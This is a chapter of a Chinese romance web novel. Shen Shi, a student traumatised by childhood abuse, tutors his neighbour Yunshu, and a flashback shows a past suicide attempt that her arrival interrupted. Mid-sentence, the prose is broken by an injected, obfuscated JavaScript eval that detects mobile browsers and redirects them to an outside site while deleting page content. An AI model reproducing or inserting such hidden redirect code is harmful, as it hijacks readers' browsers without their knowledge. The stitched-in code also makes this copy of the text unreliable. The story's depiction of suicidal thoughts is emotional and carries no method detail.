大一暑假,高温预警连着发了好几天。
气象专家说,这应该是葵市最近几年最热的一个夏天。
室友们都早早回了家,原先热闹的宿舍里现在只剩下他一个人。
手机铃声已经响了很久,屏幕上是备注为母亲的文字。
在铃声结束前的最后一秒,沈识终于按下了接听键。
“母亲。”
称呼怪异又生硬。
虽然这么些年来,陈虞一直洗脑自己要接受初一已经被前夫养坏的事实。但此时此刻听到他表面柔和,内里却带着寒意冰冷的语调,陈虞却还是忍不住暗自心痛。
“初一,暑假要不要到妈妈这来?”
特殊的昵称让沈识平静的瞳孔颤抖了一秒,他淡淡地垂下眼睫,低声说:“学校还有安排。”
“一点空闲时间也没有吗?”陈虞还想要再争取:“妈妈想见你了,如果你实在忙我过去找你也可以。”
冷风呼呼地从侧面吹来,空调运作的声音掩盖了沈识掰动手指的响声。
电脑屏幕在眼前自动熄灭,倒映出他模模糊糊的半边身子。
气息浮动,他松开手指。
“七月下,我会回去。”
陈虞得到这个回答立刻喜出望外,笑着和他约定到时带他去吃好吃的。
沈识没有多少情绪波动,嗯了一声就挂断了电话。
气温在七月底升到了最高峰。
在陈虞家待的第三天,她收到了一通来自好朋友的电话。
彼时沈识正在陪自己同母异父的妹妹玩手机游戏。
小女孩活泼好动,总是黏着他撒娇。
“初一,过来一下。”
陈虞在书房门口唤他。
语气温柔地安抚好身侧的小朋友,沈识缓步走到母亲身边。
“你还记得蒋云舒吗?”
陈虞抬起头,轻声问。
大院里的小孩大多同龄,前后不过三五岁年龄差,平日经常在一起玩。
沈识虽然过去被沈义明压得很严,但对蒋云舒这个名字,还是多多少少有些熟悉。
“记得。”他淡淡应。
“云舒明年要高考了,她妈妈想找一个大学生兼职帮她辅导一下数学,你看你有没有认识的朋友可以介绍一下。”
沈识点点头,拿出手机。
“我在群里问一下。”
陈虞盯了他好几眼,几秒后试探着开口问他愿不愿意自己去辅导云舒。
“我去辅导?”沈识打字的手指停住。
“嗯。”陈虞点点头,解释:“其实蒋阿姨暑假前就想找你,但是怕你太忙。”
“我都可以。”
沈识没太多想法。
陈虞最怕他这样。
予取予求,不提任何条件。
“初一,如果做的过程中不开心,你一定要跟妈妈说,不要自己憋在心里。”
沈识的眼神微不可察暗了一秒。
他神色自然地勾起唇角:“只是做一个家教老师而已,能有什么不开心的。”
陈虞轻叹气:“无论如何……”
“初一,妈妈只是希望你能开心。”
翌日,沈识背着书包去云舒家试课。
才刚走到门边,柔软的地摊上,正在玩积木的陈佳便着急忙慌地跑了过来。
小朋友一把抱住他膝盖,圆圆的眼睛变得水汪汪的。
“哥哥不回去!”
陈虞瞧见,立马走过来。
“哥哥去上课,中午还回来的。”
“真的吗?”陈佳扬起头看他,软软的语调里充满着童真的稚嫩。
沈识瞧见,眉心不免一松,平静的脸庞上眉尾轻轻上扬。
“嗯。”他点了点,伸手温柔地摸了摸她头顶柔软的发丝。
“哥哥中午还会回来的。”
高考毕业后,沈识就从父亲家里彻底搬了出来,家属院已经很久没有来过了。
蝉鸣声响彻云霄,沈识轻叩房门。
房门拉开,比室内的冷气更先到达的是女孩清脆的嗓音。
“你怎么在这?”
蒋云舒蹙着眉看他。
“蒋阿姨让我来给你辅导功课。”
“辅导功课?”云舒立即扭头看向客厅轻吼道:“妈,我都说了不要给我找家教!”
客厅里的蒋莉闻声连忙着急忙慌走来,一边拉走生闷气的云舒一边招呼他进屋。
“小沈,外面很热吧,来先喝点水。”
客套话说了很久,云舒最终还是带着满身的怨气领着他进了自己的卧室。
卧室并不大,角落里堆着好几把吉他。
至于凌乱的书桌上,则全是散落的乐谱,和用铅笔画得乱七八糟的白纸。
沈识曾经听陈虞提起过,云舒中学时期唱歌很好,参加比赛还得了金奖。
正因如此,她才会选择报考葵市音乐学院。
蒋云舒对于面前“略微”杂乱的桌面并不感到愧疚,随手一推就把纸张扔到了箱子里。
沈识在一旁陪着她收拾,整理出干净桌面后,他便把书包里的教辅资料拿出来摊在桌面上。
云舒垮着脸拉开椅子坐下。
沈识对此不以为意,云舒的脾气他了解。
上午只简单过了一下必修一的内容。如果云舒不一直跟他争论一些有的没的的话,也许能复习更多。
收拾好书包,他按照预定的时间走出卧室。
原本的安排是每天补两个小时,但因为云舒中间磨磨蹭蹭故意耽误了很久,沈识准备的内容没有讲完,只好下午继续过来。
蒋莉清楚云舒的脾气,明白第一节课不会过得太顺利。
所以她提前做好了午饭,在沈识走出卧室的时候,适时走上前来,热情地邀请他留在家吃中饭。
“外面这么热,来回跑多麻烦!我已经和你妈妈说了,午饭就在这吃,傍晚再回去。”
沈识向来是个不会说拒绝的人。
他点点头应下,把书包放到沙发上。
“妈!”云舒蹲在冰箱前,盯着冷冻层空空如也的夹层:“里面的冰棍呢?我昨天专门留的!”
“好像被你爸吃了……”
“啊——”云舒烦躁地抓了抓头顶的头发。
厨房里,罪魁祸首正在准备出锅最后一道菜。
“等会去买。”蒋跃找补道:“爸爸给你钱。”
“行吧~”云舒郁郁不乐地回答。
沈识安静地站在一旁,以一个完全陌生的旁观者身份,观看着这一家三口的相处日常。
明明也有很多怨气。
也有很多乱七八糟的烦心事。
但就是每分每秒都充斥着让沈识无比羡慕的氛围——一种名为家的氛围。
不是冰冷漆黑的小屋,而是热闹亮堂的家。
午餐用完,云舒着急忙慌地要出去买雪糕。
蒋莉瞧见桌边安静站着的人,伸手拦住女话。
转身跟沈识说:“小沈,你跟云舒一起去吧。”
沈识抬眸看过去。
云舒不解地挑挑了挑眉:“为什么?”
蒋莉在一旁不好意思地搓手,跟沈识解释。
“主要不知道你喜欢吃什么,刚好跟云舒一起,有什么想吃的直接跟她说。”
云舒闻言,顿时烦闷地踢了踢桌脚。
沈识扭头看她,瞳孔轻轻闪烁。
便利店就在小区门口,蒋云舒经常来,和店员熟得不能再熟。
从冰柜里拿出常吃的口味,她装着装着,动作突然慢下来,语气别扭地问身后安静得像是隐形人要吃什么。
“都可以。”他给了一个绝对不会出错的答案。
但云舒明显不喜欢这个回复。
她瘪了瘪嘴,动作烦躁地把冰柜里每一种口味都拿了一个。
沈识察觉她生气了,但他不明白她生气的原因,所以只能尽可能地隐藏自己,继续一言不发地跟在她身后。
刺耳的小孩笑声突然从门口传来。
沈识的脸色骤然变化。
云舒没察觉,她只是表情烦闷地朝那边看了一眼,嘟囔道:“哪来的小屁孩?吵死了。”
穿着品牌最新款棒球服的小孩,张牙舞爪地像是从动物园里逃出来的大猩猩一样,在货架中间来回奔跑,手里还拿着明眼可见不太安全的“无盖饮料瓶”。
云舒本不想投去视线。
直到小孩动作极其刻意直直撞向身后的人。
饮料瓶咚得一声落地,灰色的水渍在沈识白色的衬衫上凝结成一块难看的污渍。
他垂着眼睫,没有多大的反应,看上去似乎一点都不生气。
男孩笑嘻嘻地抬起脑袋。
“不好意思哥哥,撞到你了。”
云舒关闭冰柜门,低头看向声音发来的源头。
哦。
原来是沈识那个十分讨人厌的继弟。
“小识。”消失的继母终于出现了,她着急地走上前来:“你弟弟不是故意的,这样,你跟我一起回去吧,我给你拿件衣服换一下。”
“我不要他回去!”身侧男孩突然哭诉道:“我讨厌他。”
“怎么说话呢?”继母立即伸手拍他脸:“他是你哥哥!”
“呜——”男孩被母亲教训,哭泣立刻变得更大声。
两个人一个红脸一个白脸唱得好不热闹,云舒交叉双腿站在一旁看得着实起劲。
明明是个人都能看出来他是故意的。
就在云舒以为沈识终于要说些什么带刺的话的时候,他突然伸出手,安抚面前的小孩。
“哥哥没事,不要哭了。”
如果是刚刚路过的人,可能会觉得这是一个兄友弟恭的友好场面。
但偏偏云舒了解沈识在这个新家庭里一直以来的不平待遇,也见识到了他弟弟故意为之的动作。
所以此时此刻面对沈识的表现,她只感觉到了浓浓的诡异。
这人神经吧。
都这样了还不发脾气。
云舒本来其实不想管的。
但偏偏她是个“嫉恶如仇”的坏脾气。
她提起身侧装着雪糕的袋子,不顾在一旁“假兮兮”地维持体面表象的沈识,迈着步子就从两人之间快速穿了出去。
沉重的塑料袋撞上男孩小腿,原本还假哭的他瞬间往后摔了一个重重的屁股蹲儿。
沈识表情呆滞地看着她。
云舒拨了拨耳边的长发,停下来捂住嘴巴故作惊讶道。
“诶呀小朋友!真不好意思!姐姐不是故意的!
实在是你太矮了,姐姐看不到~~”
阴阳怪气的语气是个人都能听出来。
但云舒心里清楚,沈识的继母最好面子,所以即使男孩从假哭变成了真哭,她也不会说什么。
果不其然,继母只是阴阴地瞪了她两眼。
至于小屁孩,或许在沈识面前耍威风耍多了,缺心眼地以为所有人都跟他一样。
刚想要伸手报复,就被云舒按住脑袋固定在了原地。
“小弟弟,走的时候记得把地上水渍擦干哦,不然我就让老板把你的大头照贴在门口——”
云舒笑着说,望向男孩的眼神却带着瘆人的寒意。
“你——”继母表情愠怒地瞪着她。
云舒可不在意。
她扭头朝沈识招了招手。
“走了。”
男人衬衫还沾着灰色水渍,他垂了垂眼睫,从母子二人身边慢慢走过,平静无波到像是机器人一样的眼神里,不知不觉间出现了些许波动。
回家之后,蒋跃给沈识拿了一件新衣服换上。
沈识没说具体细节,云舒便也没替他解释。
下午的补课照常开始。
“那小子真讨厌。”
云舒一边吃着雪糕一边吐槽。
“比你还讨厌。”
她扭头瞥他一眼。
沈识没说话,只安静备课。
“看那小子的样子,平日里估计是没少找你茬,你难道每次都跟今天一样装哑巴?太怂了吧。”
“他只是个小孩。”
“只是不长个而已,年龄又不小。”云舒翻了个白眼:“这么不讲礼貌!下次要再碰见看我不弄死他!”
沈识专注备课不搭理她。
云舒自言自语好半天,忍不住凑近他寻求问题答案。
“你其实也很讨厌他吧?”
雪糕上寒冷的凉气不经意间飘到他的脖颈处,引起了一阵麻栗。
他皱着眉远离。
“他是我弟弟。”
“可刚才在店里,我故意撞他的时候,你好像也没有阻止我吧?”
云舒睁着一双眼问他。
“你当时离我那么近,如果发现我想撞他,应该很快就能反应过来。”
“但你没有。”
她轻声说。
“你讨厌他。”
她自问自答,玩得不亦乐乎。
窗外是大晴天,沈识此刻心里却突然下起了瓢泼大雨。
他平稳着声线。
“有分析我的功夫,不如先把这个练习题做了。”
“……你好无趣啊沈识。”
蒋云舒坐直身子远离他,瘪着嘴趴在桌面上生闷气。
“讨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546962|186747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厌为什么不说出来。”
“你越这样,他越欺负你。”
她闷着声嘟囔。
“还有今天中午在桌上。”云舒低声说:“你明明不喜欢吃鱼,干嘛要逼着自己吃,我爸妈又不会说你。”
沈识瞳孔一颤。
他以为自己藏得很好。
“喜欢就是喜欢,不喜欢就是不喜欢。”
“为什么要假装喜欢呢?”
她一股脑吐出了好多话,像是唠里唠叨的唐僧一样。
说到最后一句时,她径直转过身双手托起下巴望着他发呆。
沈识握着笔的手指顿了顿。
他感觉自己的指骨像是被人敲断了一般开始泛起钻心的疼痛。
不是因为假面具被人拆穿。
而是她口中的“为什么”。
对啊。
到底是为什么。
为什么他会变成现在这样。
总是带着假面具入世,明明内心冷淡漠然厌恶到了极点,面上却总是装着正常,好似一缕孤魂在世间游荡。
“是因为怕沈叔叔打你吗?”
云舒沉思几秒,给出了自己的答案。
沈识一下子心绪恍惚。
不知道是从哪本书上看来的,说总是喜欢撒谎的人是因为缺乏安全感。
其实沈义明从不打他,但他总是能带来不同形式让他难以接受的“暴力”。
父母离异,彼此都建立了新家庭。
而他作为他们之前的孩子,无论身处哪一边,都显得格格不入。
这个道理在年幼的他不小心打碎了继母最爱的杯子,而因此被沈义明罚跪了一夜的时候,他就领悟了。
可明明就在杯子摔碎的前两天,继母才“不小心”地烧毁了他和母亲之前的照片。
但沈义明不在乎。
后来继母买了一个小礼物送给他,问他喜不喜欢,他冷漠地回了一句。
“不喜欢。”
往后将近有一周的时间,他被一个人关在了黑漆漆什么都没有的房间里。
除了一日三餐,没有任何接触活人的机会。
而那个时候,他才七岁不到。
沈识后来一直想,也许正常的自己早就被丢在了那个“小黑屋”里。
活着走出来的,不过是一个心里残疾的机器人。
机器人的唯一准则,就是说“不喜欢”要付出代价。
这些年来,沈识已经尽可能地让自己去忽略那些过去。
似乎只要不去回忆,就不会感到痛苦。
可这些童年时期的创伤经历就像是校园红砖上的爬山虎一样,正在沿着他的心墙快速紧密地生长着。
在他没有注意到的时候,它已经长势到了足够压迫他的喉咙,让他再也无法自由呼吸的程度。
高考结束之后,沈识推开了天台的门。
站在栏杆边缘的那一刻,白日里最后一抹阳光正好就落在他身上。
明明皮肤被晒得些许温热,他的心里却感觉不到一丝热气。
黄昏在后面追着他脚步,他垂下眼睫,双手轻轻放上栏杆。
只要翻过去。
一切就都结束了。
木制门在此时重重地撞在墙上。
女孩一边嘟囔着“烦人”一边走了进来,瞧见天台上还有个他时表情顿时一呆。
他认得她。
隔壁家的独生女。
胆子大脾气不好,个子不高却总是在楼下训小弟的“大姐大”。
她来收家里晾的被单。
女孩瞧见他,没多少反应,走到晾晒的绳子边开始收床单。
沈识收回手。
理智告诉他他不应该当着她的面做这件事。
所以……就再等一会吧。
时间一分一秒过去,身后不时传来女孩穿着拖鞋在地面滑动的声响,沈识就在原地安静地等着。
绳子绷断的声音突然传来,他没有回头,听见女孩试探性地叫他的名字:“那个……沈识?”
他转过身看她:“嗯?”
云舒藏在堆积起来的被子后面,只有闷闷的声音传来。
“你可以帮我抱一下这个床单吗?绳子断了,我要重新系。”
沈识站在原地顿了一会,落日的最后一抹余晖正好从女孩身边逃开。
他缓慢地迈出步子,动作艰难地走到她身边。
接过她怀抱的被子,有淡淡的清香传来。
沈识想要做的事那天终究没有做成。
云舒弄断的绳子不止一根。
而等一切处理好,他又接到了陈虞的电话。
“初一,我们去看心理医生好不好?”
自毁倾向终于被母亲察觉。
种种巧合汇聚在一起,他的命被捡了回来。
这一年因为心理医生的治疗,他不再产生放弃生命的念头。
但经年累月的创伤不会那么快消失,比如,总是压抑自己情绪的习惯,总是装作喜欢的习惯。
指尖忍不住攥紧,他低着头故作镇定,可呼吸却逐渐加重,粗重的喘息声让身侧的云舒没法不去注意。
“你没事吧?”
她探身去问。
沈识憋红了脸,下一秒,他动作飞快地拿起桌上的牛皮纸袋盖在嘴唇上,动作无比熟练地用手指压紧边缘。
云舒一脸惊慌,但一时也不知该怎么做。
牛皮纸袋在眼前剧烈收缩又膨胀,几个来回后,沈识的呼吸逐渐平稳了下来。
脸颊早已被汗水浸湿,碎发下的眼圈泛起淡淡的红,他无力地取下纸袋,胸腔却还在剧烈地上下起伏。
云舒站在一边已经被吓傻了。
她紧张地伸出手指戳了戳他。
“你还好吧?要打120吗?”
沈识坐直身子,闭了闭眼后又稍稍缓了缓心神:“没事。”
习惯了。
或许是因为他突然失控的行为,补课的后半段时间,云舒听话了很多。
甚至临走前,还专门到门口送了送他。
他知道她是因为下午的事情有些愧疚。
走到大门前,他扭头看她:“不是因为你。”
云舒疑惑地“嗯”了一声,抬头看他。
沈识低声解释:“我只是……突然想到了一些事。”
“什么事?”
“去年高考结束,你在天台见过我。”
“有吗?”云舒疑惑。
她一向对于不重要的事不甚在意。
沈识闻言,无奈地笑了笑。
“那可能是我记错了。”
毕竟天使只会出现在梦里。